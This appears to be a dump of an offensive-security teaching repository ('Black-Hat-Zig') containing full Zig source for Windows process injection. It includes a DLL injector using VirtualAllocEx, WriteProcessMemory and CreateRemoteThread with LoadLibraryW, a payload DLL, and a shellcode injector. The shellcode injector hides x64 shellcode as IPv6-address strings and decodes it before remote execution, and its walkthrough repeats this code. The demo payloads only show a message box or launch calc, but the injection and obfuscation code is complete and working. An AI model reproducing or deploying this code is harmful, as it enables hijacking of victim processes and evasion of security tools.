    const inject_step = b.step("inject", "Run the DLL injector");
    inject_step.dependOn(&run_cmd.step);

    // 5. Build step to ensure both DLL and injector are built
    const build_all_step = b.step("build-all", "Build both payload DLL and injector");
    build_all_step.dependOn(&payload_dll.step);
    build_all_step.dependOn(&injector_exe.step);

    // 6. Unit tests
    const dll_tests = b.addTest(.{
        .root_source_file = b.path("src/root.zig"),
        .target = target,
        .optimize = optimize,
    });

    const injector_tests = b.addTest(.{
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    const run_dll_tests = b.addRunArtifact(dll_tests);
    const run_injector_tests = b.addRunArtifact(injector_tests);

    const test_step = b.step("test", "Run all unit tests");
    test_step.dependOn(&run_dll_tests.step);
    test_step.dependOn(&run_injector_tests.step);
}

```

## /src/Malware-Techniques/Process-Injection/dll_injection/build.zig.zon

```zon path="/src/Malware-Techniques/Process-Injection/dll_injection/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .dll_injection,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0x894ff703f008d40b, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Process-Injection/dll_injection/src/main.zig

```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const kernel = windows.kernel32;
const print = std.debug.print;

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = windows.LPVOID;
const LPCWSTR = windows.LPCWSTR;
const SIZE_T = windows.SIZE_T;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;
const PROCESS_CREATE_THREAD = 0x0002;
const PROCESS_QUERY_INFORMATION = 0x0400;
const PROCESS_VM_OPERATION = 0x0008;
const PROCESS_VM_WRITE = 0x0020;
const PROCESS_VM_READ = 0x0010;

// Memory allocation constants
const MEM_COMMIT = windows.MEM_COMMIT;
const MEM_RESERVE = windows.MEM_RESERVE;
const PAGE_READWRITE = windows.PAGE_READWRITE;

// Snapshot constants
const TH32CS_SNAPPROCESS = windows.TH32CS_SNAPPROCESS;
const INVALID_HANDLE_VALUE = windows.INVALID_HANDLE_VALUE;

// Process entry structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize,
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32,
    dwFlags: DWORD,
    szExeFile: [260]u16,
};

// Windows API function declarations
const CreateToolhelp32Snapshot = kernel.CreateToolhelp32Snapshot;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
const GetModuleHandleW = kernel.GetModuleHandleW;
const GetProcAddress = kernel.GetProcAddress;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
const WriteProcessMemory = windows.WriteProcessMemory;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
const GetLastError = windows.GetLastError;
const CloseHandle = windows.CloseHandle;
extern "kernel32" fn GetExitCodeThread(HANDLE, *DWORD) BOOL;

// Helper function to wait for Enter key
fn waitForEnter(message: []const u8) void {
    print("{s}", .{message});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
    return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}

// Compare wide strings (case-insensitive)
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    return windows.eqlIgnoreCaseWTF16(str1, str2);
}

// Get remote process PID by name (simplified to return just PID)
fn getRemoteProcessPid(allocator: std.mem.Allocator, process_name: []const u8) !DWORD {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = std.mem.zeroes(PROCESSENTRY32W);
    process_entry.dwSize = @sizeOf(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
            return process_entry.th32ProcessID;
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Main DLL injection function
fn injectDllToRemoteProcess(h_process: HANDLE, dll_name: [:0]u16) BOOL {
    var h_thread: ?HANDLE = null;
    defer {
        if (h_thread) |thread| {
            _ = CloseHandle(thread);
        }
    }

    // Calculate the size of DllName in bytes
    const dw_size_to_write = (std.mem.len(dll_name.ptr) + 1) * @sizeOf(u16);

    // Get the address of LoadLibraryW from kernel32.dll
    const kernel32_handle = GetModuleHandleW(std.unicode.utf8ToUtf16LeStringLiteral("kernel32.dll")) orelse {
        print("[!] GetModuleHandleW Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    const p_load_library_w = GetProcAddress(kernel32_handle, "LoadLibraryW") orelse {
        print("[!] GetProcAddress Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    // Allocate memory in the remote process
    const p_address = VirtualAllocEx(
        h_process,
        null,
        dw_size_to_write,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    ) orelse {
        print("[!] VirtualAllocEx Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    print("[i] pAddress Allocated At : 0x{x} Of Size : {d}\n", .{ @intFromPtr(p_address), dw_size_to_write });
    waitForEnter("[#] Press <Enter> To Write ... ");

    // Cast to bytes (UTF-16), including the null terminator
    const bytes = std.mem.sliceAsBytes(@as([*]u16, @ptrCast(dll_name))[0 .. dw_size_to_write / 2]);

    // Write the DLL name to the remote process memory
    const write_result = WriteProcessMemory(
        h_process,
        p_address,
        bytes,
    ) catch {
        print("[!] WriteProcessMemory Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    if (write_result != dw_size_to_write) {
        print("[!] Expected to write: {d} bytes, actually wrote: {d} bytes\n", .{ dw_size_to_write, write_result });
        return 0;
    }

    print("[i] Successfully Written {d} Bytes\n", .{write_result});
    waitForEnter("[#] Press <Enter> To Run ... ");

    print("[i] Executing Payload ... \n", .{});

    // Create a remote thread to execute LoadLibraryW with our DLL path
    h_thread = CreateRemoteThread(
        h_process,
        null,
        0,
        @ptrCast(p_load_library_w),
        p_address,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error: {d}\n", .{GetLastError()});
        return 0;
    };

    windows.WaitForSingleObject(h_thread.?, windows.INFINITE) catch {
        print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
    };

    var exit_code: DWORD = 0;
    if (GetExitCodeThread(h_thread.?, &exit_code) == 0) {
        print("[!] GetExitCodeThread failed: {}\n", .{GetLastError()});
        return 1;
    } else if (exit_code == 0) {
        print("[!] LoadLibraryW returned NULL (DLL not found / load error)\n", .{});
        return 1;
    }

    print("[+] DONE!\n", .{});
    print("[+] DLL Injection Completed Successfully!\n", .{});

    return 1; // TRUE
}

// Print usage information
fn printUsage(program_name: []const u8) void {
    print("[!] Usage : \"{s}\" <Complete DLL Payload Path> <Process Name>\n", .{program_name});
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const args = try std.process.argsAlloc(allocator);
    defer std.process.argsFree(allocator, args);

    if (args.len != 3) {
        printUsage(args[0]);
        std.process.exit(1);
    }

    const dll_path = args[1];
    const process_name = args[2];

    // It must be an absolute directory in order to run
    const absolute = try std.fs.cwd().realpathAlloc(allocator, dll_path);
    defer allocator.free(absolute);

    // Find target process PID
    const target_pid = try getRemoteProcessPid(allocator, process_name);

    // Open target process
    const target_process = OpenProcess(
        PROCESS_ALL_ACCESS,
        0, // bInheritHandle = FALSE
        target_pid, // Now using just the PID (DWORD)
    ) orelse {
        print("[!] OpenProcess Failed With Error: {d}\n", .{GetLastError()});
        print("[!] Try running as Administrator or check process permissions.\n", .{});
        std.process.exit(1);
    };
    defer _ = CloseHandle(target_process);

    // Convert DLL path to wide string
    const wide_dll_path = try convertToWideString(allocator, absolute);
    defer allocator.free(wide_dll_path);

    // Inject DLL
    const injection_result = injectDllToRemoteProcess(target_process, wide_dll_path);

    if (injection_result == 1) {
        print("\n", .{});
        print("SUCCESS! DLL injection completed successfully!\n", .{});
        print("Your payload should now be running in the target process!\n", .{});
    } else {
        print("\n", .{});
        print("FAILED! DLL injection was not successful.\n", .{});
        print("Check the error messages above for details.\n", .{});
        std.process.exit(1);
    }

    waitForEnter("\n[#] Press <Enter> To Exit ... ");
}

```

## /src/Malware-Techniques/Process-Injection/dll_injection/src/root.zig

```zig path="/src/Malware-Techniques/Process-Injection/dll_injection/src/root.zig" 
const std = @import("std");
const windows = std.os.windows;

// Windows API types
const HINSTANCE = windows.HINSTANCE;
const DWORD = windows.DWORD;
const LPVOID = *anyopaque;
const BOOL = windows.BOOL;

// DLL reasons
const DLL_PROCESS_ATTACH: DWORD = 1;
const DLL_THREAD_ATTACH: DWORD = 2;
const DLL_THREAD_DETACH: DWORD = 3;
const DLL_PROCESS_DETACH: DWORD = 0;

// MessageBox constants
const MB_OK: u32 = 0x00000000;
const MB_ICONINFORMATION: u32 = 0x00000040;

// Windows API functions
extern "user32" fn MessageBoxA(
    hWnd: ?windows.HWND,
    lpText: [*:0]const u8,
    lpCaption: [*:0]const u8,
    uType: u32,
) callconv(.C) i32;

fn msgBoxPayload() void {
    _ = MessageBoxA(
        null,
        "Please give Black-Hat-Zig a star!",
        "Malware!",
        MB_OK | MB_ICONINFORMATION,
    );
}

// DllMain has to be public
pub export fn DllMain(hModule: HINSTANCE, dwReason: DWORD, lpReserved: LPVOID) callconv(.C) BOOL {
    _ = hModule;
    _ = lpReserved;

    switch (dwReason) {
        DLL_PROCESS_ATTACH => {
            msgBoxPayload();
        },
        DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH => {
            // Do nothing for these cases
        },
        else => {
            // Handle unexpected values
        },
    }

    return 1; // TRUE
}

```

## /src/Malware-Techniques/Process-Injection/shellcode_injection.md

# Shellcode Injection

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Injection/shellcode_injection)

Shellcode injection writes raw machine code into the memory of another process
and then executes it. Typically the attacker opens the target process with the
required permissions, allocates executable memory, copies the shellcode bytes,
and starts a remote thread at that location. The sample in this repository
obfuscates the payload as an array of IPv6 strings, then decodes and injects the
resulting buffer. This technique provides complete control over the victim
process and is frequently used for privilege escalation or to hide malicious
behavior behind a trusted process.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const net = std.net;
const windows = std.os.windows;
const print = std.debug.print;

const IPV6_ARRAY: [17][]const u8 = [_][]const u8{
    "FC48:83E4:F0E8:C000:0000:4151:4150:5251",
    "5648:31D2:6548:8B52:6048:8B52:1848:8B52",
    "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
    "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED",
    "5241:5148:8B52:208B:423C:4801:D08B:8088",
    "0000:0048:85C0:7467:4801:D050:8B48:1844",
    "8B40:2049:01D0:E356:48FF:C941:8B34:8848",
    "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1",
    "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
    "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49",
    "01D0:418B:0488:4801:D041:5841:585E:595A",
    "4158:4159:415A:4883:EC20:4152:FFE0:5841",
    "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000",
    "0000:0000:0048:8D8D:0101:0000:41BA:318B",
    "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
    "D548:83C4:283C:067C:0A80:FBE0:7505:BB47",
    "1372:6F6A:0059:4189:DAFF:D563:616C:6300",
};

const NUMBER_OF_ELEMENTS: usize = 17;

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PVOID = *anyopaque;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;

// Memory allocation constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;

// Snapshot constants
const TH32CS_SNAPPROCESS = 0x00000002;
const INVALID_HANDLE_VALUE = @as(windows.HANDLE, @ptrFromInt(std.math.maxInt(usize)));

// Process entry structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize,
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32,
    dwFlags: DWORD,
    szExeFile: [260]u16,
};

// Windows API function declarations
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(.C) HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL;
extern "kernel32" fn VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn CloseHandle(HANDLE) callconv(.C) BOOL;
extern "kernel32" fn GetLastError() callconv(.C) DWORD;

// Helper function to wait for Enter key
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
    return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}

/// Compare wide strings (case-insensitive)
/// Similar to `wcscmp` in C
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    if (str1.len != str2.len) return false;

    for (str1, str2) |c1, c2| {
        var lower_c1 = c1;
        var lower_c2 = c2;

        if (c1 >= 'A' and c1 <= 'Z') lower_c1 = c1 + ('a' - 'A');
        if (c2 >= 'A' and c2 <= 'Z') lower_c2 = c2 + ('a' - 'A');

        if (lower_c1 != lower_c2) return false;
    }
    return true;
}

fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
    var buffer = try allocator.alloc(u8, ipv6_array.len * 16);
    var offset: usize = 0;

    for (ipv6_array) |ip| {
        const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat;
        const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr));
        @memcpy(buffer[offset .. offset + 16], &ip_bytes);
        offset += 16;
    }

    return buffer;
}

// Get remote process handle by name
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = PROCESSENTRY32W{
        .dwSize = @sizeOf(PROCESSENTRY32W),
        .cntUsage = 0,
        .th32ProcessID = 0,
        .th32DefaultHeapID = 0,
        .th32ModuleID = 0,
        .cntThreads = 0,
        .th32ParentProcessID = 0,
        .pcPriClassBase = 0,
        .dwFlags = 0,
        .szExeFile = std.mem.zeroes([260]u16),
    };

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});

            const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse {
                print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()});
                return error.OpenProcessFailed;
            };

            return .{ .pid = process_entry.th32ProcessID, .handle = handle };
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Inject shellcode to remote process
fn injectShellcodeToRemoteProcess(process_handle: HANDLE, shellcode: []const u8) !void {
    const shellcode_address = VirtualAllocEx(
        process_handle,
        null,
        shellcode.len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    ) orelse {
        print("[!] VirtualAllocEx Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualAllocExFailed;
    };

    print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});

    print("[#] Press <Enter> To Write Payload ... ", .{});
    waitForEnter();

    var bytes_written: SIZE_T = 0;
    const write_result = WriteProcessMemory(
        process_handle,
        shellcode_address,
        shellcode.ptr,
        shellcode.len,
        &bytes_written,
    );

    if (write_result == 0 or bytes_written != shellcode.len) {
        print("[!] WriteProcessMemory Failed With Error : {d} \n", .{GetLastError()});
        return error.WriteProcessMemoryFailed;
    }

    print("[i] Successfully Written {d} Bytes\n", .{bytes_written});

    // Clear the shellcode from local memory
    @memset(@constCast(shellcode.ptr)[0..shellcode.len], 0);

    var old_protection: DWORD = 0;
    if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualProtectExFailed;
    }

    print("[#] Press <Enter> To Run ... ", .{});
    waitForEnter();
    print("[i] Executing Payload ... ", .{});

    const thread_handle = CreateRemoteThread(
        process_handle,
        null,
        0,
        @ptrCast(shellcode_address),
        null,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()});
        return error.CreateRemoteThreadFailed;
    };

    print("[+] DONE !\n", .{});

    _ = CloseHandle(thread_handle);
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const args = try std.process.argsAlloc(allocator);
    defer std.process.argsFree(allocator, args);

    if (args.len < 2) {
        print("[!] Usage : \"{s}\" <Process Name> \n", .{args[0]});
        std.process.exit(1);
    }

    const process_name = args[1];

    const process_info = getRemoteProcessHandle(allocator, process_name) catch |err| switch (err) {
        error.ProcessNotFound => {
            print("[!] Process is Not Found \n", .{});
            std.process.exit(1);
        },
        else => {
            print("[!] Failed to get process handle\n", .{});
            std.process.exit(1);
        },
    };
    defer _ = CloseHandle(process_info.handle);

    print("[#] Press <Enter> To Decrypt ... ", .{});
    waitForEnter();
    print("[i] Decrypting ...", .{});

    const shellcode = ipv6Deobfuscation(&IPV6_ARRAY, allocator) catch {
        print("[!] IPv6 deobfuscation failed\n", .{});
        std.process.exit(1);
    };
    defer allocator.free(shellcode);

    print("[+] DONE !\n", .{});
    print("[i] Deobfuscated Payload At : 0x{X} Of Size : {d} \n", .{ @intFromPtr(shellcode.ptr), shellcode.len });

    injectShellcodeToRemoteProcess(process_info.handle, shellcode) catch |err| {
        print("[!] Shellcode injection failed: {}\n", .{err});
        std.process.exit(1);
    };

    print("[#] Press <Enter> To Quit ... ", .{});
    waitForEnter();
}
```


## /src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig

```zig path="/src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig" 
const std = @import("std");

pub fn build(b: *std.Build) void {
        const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });
        const optimize = b.standardOptimizeOption(.{});

    const exe = b.addExecutable(.{
        .name = "shellcode_injection",
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    b.installArtifact(exe);

    const run_cmd = b.addRunArtifact(exe);
    run_cmd.step.dependOn(b.getInstallStep());
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_tests = b.addTest(.{
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    const run_exe_tests = b.addRunArtifact(exe_tests);
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_tests.step);
}

```

## /src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig.zon

```zon path="/src/Malware-Techniques/Process-Injection/shellcode_injection/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .shellcode_injection,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0x3e66dcdded48ab8, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Process-Injection/shellcode_injection/src/main.zig

```zig path="/src/Malware-Techniques/Process-Injection/shellcode_injection/src/main.zig" 
const std = @import("std");
const net = std.net;
const windows = std.os.windows;
const print = std.debug.print;

const IPV6_ARRAY: [17][]const u8 = [_][]const u8{
    "FC48:83E4:F0E8:C000:0000:4151:4150:5251",
    "5648:31D2:6548:8B52:6048:8B52:1848:8B52",
    "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
    "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED",
    "5241:5148:8B52:208B:423C:4801:D08B:8088",
    "0000:0048:85C0:7467:4801:D050:8B48:1844",
    "8B40:2049:01D0:E356:48FF:C941:8B34:8848",
    "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1",
    "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
    "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49",
    "01D0:418B:0488:4801:D041:5841:585E:595A",
    "4158:4159:415A:4883:EC20:4152:FFE0:5841",
    "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000",
    "0000:0000:0048:8D8D:0101:0000:41BA:318B",
    "6F87:FFD5:BBE0:1D2A:0A41:BAA6:95BD:9DFF",
    "D548:83C4:283C:067C:0A80:FBE0:7505:BB47",
    "1372:6F6A:0059:4189:DAFF:D563:616C:6300",
};

const NUMBER_OF_ELEMENTS: usize = 17;

// Windows API types
const HANDLE = windows.HANDLE;
